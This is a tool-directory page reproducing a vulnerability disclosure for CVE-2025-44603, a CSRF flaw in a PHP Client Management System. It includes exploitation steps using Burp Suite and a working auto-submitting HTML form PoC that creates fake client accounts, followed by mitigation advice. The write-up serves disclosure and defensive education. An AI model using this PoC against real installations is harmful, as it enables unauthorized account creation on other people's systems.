Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-44603-CSRF-Leads_to_Create_FakeUsers — Proof-of-concept demonstrating a CSRF vulnerability in a PHP-based Client Management System, with HTML exploit code and mitigation strategies for web application security testing. | Kitploit
Tools/GitHubGitHub/moulish2004/cve-2025-44603-csrf-leads_to_create_fakeusers
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubmoulish2004/cve-2025-44603-csrf-leads_to_create_fakeusers

CVE-2025-44603-CSRF-Leads_to_Create_FakeUsers

Proof-of-concept demonstrating a CSRF vulnerability in a PHP-based Client Management System, with HTML exploit code and mitigation strategies for web application security testing.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
11 year agoNot yet reviewed

CVE-2025-44603 (CSRF Vulnerability: Leads to Creating Fake Clients)

Project Name & Repo URL : https://phpgurukul.com/client-management-system-using-php-mysql/

Vulnerability Name : Cross-Site Request Forgery(CSRF)

Affected Version : V1.2

Introduction

A Cross-Site Request Forgery (CSRF) vulnerability exists in the Add Client Functionality of the Client Management System developed by PHPGurukul. CSRF is an attack where an authenticated user is tricked into submitting a malicious request to a web application. This can lead to unauthorized actions being performed on behalf of the user . In this report, we demonstrate how CSRF can be used to create fake users in a Client Management System and suggest mitigation strategies.

Environment Setup

  • Locally hosted Client Management System using MySQL and PHP.
  • Functionality for adding clients and their services.

Steps to Exploit CSRF

1. Login as Admin

Using provided credentials, log in to the Client Management System.

Login as admin

2. Add a New Client

  • Select Add Client option.
  • Enter the required client details.

Adding new client Enter the client details

3. Capture the Client Adding Request

  1. Navigate to the Save button.
  2. Set up Burp Suite to intercept requests.
  3. Click Save and capture the HTTP request before it reaches the server.
  4. Send the captured request to the Repeater tab without the session cookie for analysis.

Capturing the request in Burp Send to repeater

CSRF Code for fake Clients

Below is the HTML PoC for CSRF attack:

root@kitploit:~
<html>
  <body>
    <form action="http://localhost/clientms/admin/add-client.php" method="POST">
      <input type="hidden" name="accounttype" value="Active Account" />
      <input type="hidden" name="cname" value="moulimurugan" />
      <input type="hidden" name="comname" value="kppr" />
      <input type="hidden" name="address" value="vijayamangalam" />
      <input type="hidden" name="city" value="erode" />
      <input type="hidden" name="state" value="tamil" />
      <input type="hidden" name="zcode" value="638026" />
      <input type="hidden" name="wphnumber" value="968560710" />
      <input type="hidden" name="cellphnumber" value="6931052465" />
      <input type="hidden" name="ophnumber" value="9638560410" />
      <input type="hidden" name="email" value="[email protected]" />
      <input type="hidden" name="password" value="moulimurugan" />
      <input type="hidden" name="websiteadd" value="clientmsdb" />
      <input type="hidden" name="notes" value="Nil" />
      <input type="hidden" name="submit" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Creating Fake Clients

  • Modify existing details to create fake Clients

Adding fake user 1 Adding fake user 2

Testing the CSRF PoC

  1. Open the generated CSRF PoC link in a browser.
  2. The webpage opens with a Submit button.
  3. Click Submit, and the request executes, creating fake clients.

Open PoC in browser Hit submit request

Confirming Fake Clients Creation

  • After submission, fake clients appear in the admin dashboard.

Fake clients created Multiple users created

Mitigation Strategies

To prevent CSRF attacks, implement the following measures:

  1. CSRF Tokens
    • Use anti-CSRF tokens in all form submissions and verify them on the server-side.
  2. SameSite Cookies
    • Set session cookies with SameSite=Strict or SameSite=Lax attributes.
  3. Referer and Origin Header Validation
    • Validate the Referer and Origin headers before processing requests .
  4. User Authentication Checks
    • Require CAPTCHAs for critical actions to prevent automated attacks .
  5. Restrict HTTP Methods
    • Use POST for sensitive actions and avoid processing GET requests with side effects .

Conclusion

This report demonstrates how CSRF vulnerabilities can be exploited to create unauthorized Clients in a Client Management System. Implementing the suggested mitigation strategies will help secure the application against such attacks.

Download Tool